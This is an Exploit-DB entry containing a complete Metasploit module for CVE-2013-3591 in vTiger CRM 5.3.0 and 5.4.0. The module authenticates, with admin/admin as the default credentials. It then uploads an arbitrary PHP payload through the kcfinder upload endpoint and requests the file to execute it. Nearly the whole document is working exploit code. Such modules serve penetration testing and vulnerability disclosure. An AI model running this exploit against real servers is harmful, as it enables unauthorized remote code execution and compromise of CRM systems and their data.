Exploit-DB #29319
Description: vTiger CRM 5.3.0 5.4.0 - (Authenticated) Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2013-10-31
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution',
      'Description' => %q{
      vTiger CRM allows an authenticated user to upload files to embed within documents.
      Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP
      script and execute aribtrary PHP code remotely.

      This module was tested against vTiger CRM v5.4.0 and v5.3.0.
      },
      'Author' =>
        [
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2013-3591'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
        ],
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Payload'    =>
        {
          'BadChars' => "&\n=+%",
        },
      'Targets' =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 30 2013'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin'])
      ], self.class)
  end

  def check
    res = nil
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') })
    rescue
      print_error("Unable to access the index.php file")
      return CheckCode::Unknown
    end

    if res and res.code != 200
      print_error("Error accessing the index.php file")
      return CheckCode::Unknown
    end

    if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i
      print_status("vTiger CRM version: " + $1)
      case $1
      when '5.4.0', '5.3.0'
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    end

    return CheckCode::Unknown
  end

  def exploit

      init = send_request_cgi({
        'method' => 'GET',
        'uri' =>  normalize_uri(target_uri.path, '/index.php')
      })

      sess = init.get_cookies

      post = {
        'module' => 'Users',
        'action' => 'Authenticate',
        'return_module' => 'Users',
        'return_action' => 'Login',
        'user_name' => datastore['USERNAME'],
        'user_password' => datastore['PASSWORD']
      }

      login = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'vars_post' => post,
        'cookie' => sess
      })

      fname = rand_text_alphanumeric(rand(10)+6) + '.php3'
      cookies = login.get_cookies

      php = %Q|<?php #{payload.encoded} ?>|
      data = Rex::MIME::Message.new
      data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\"");
      data.add_part('files', nil, nil, 'form-data; name="dir"')

      data_post = data.to_s

      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'),
        'ctype' => "multipart/form-data; boundary=#{data.bound}",
        'data' => data_post,
        'cookie' => cookies
      })
      if res and res.code == 200
        print_status("Triggering payload...")
        send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5)
      end
  end
end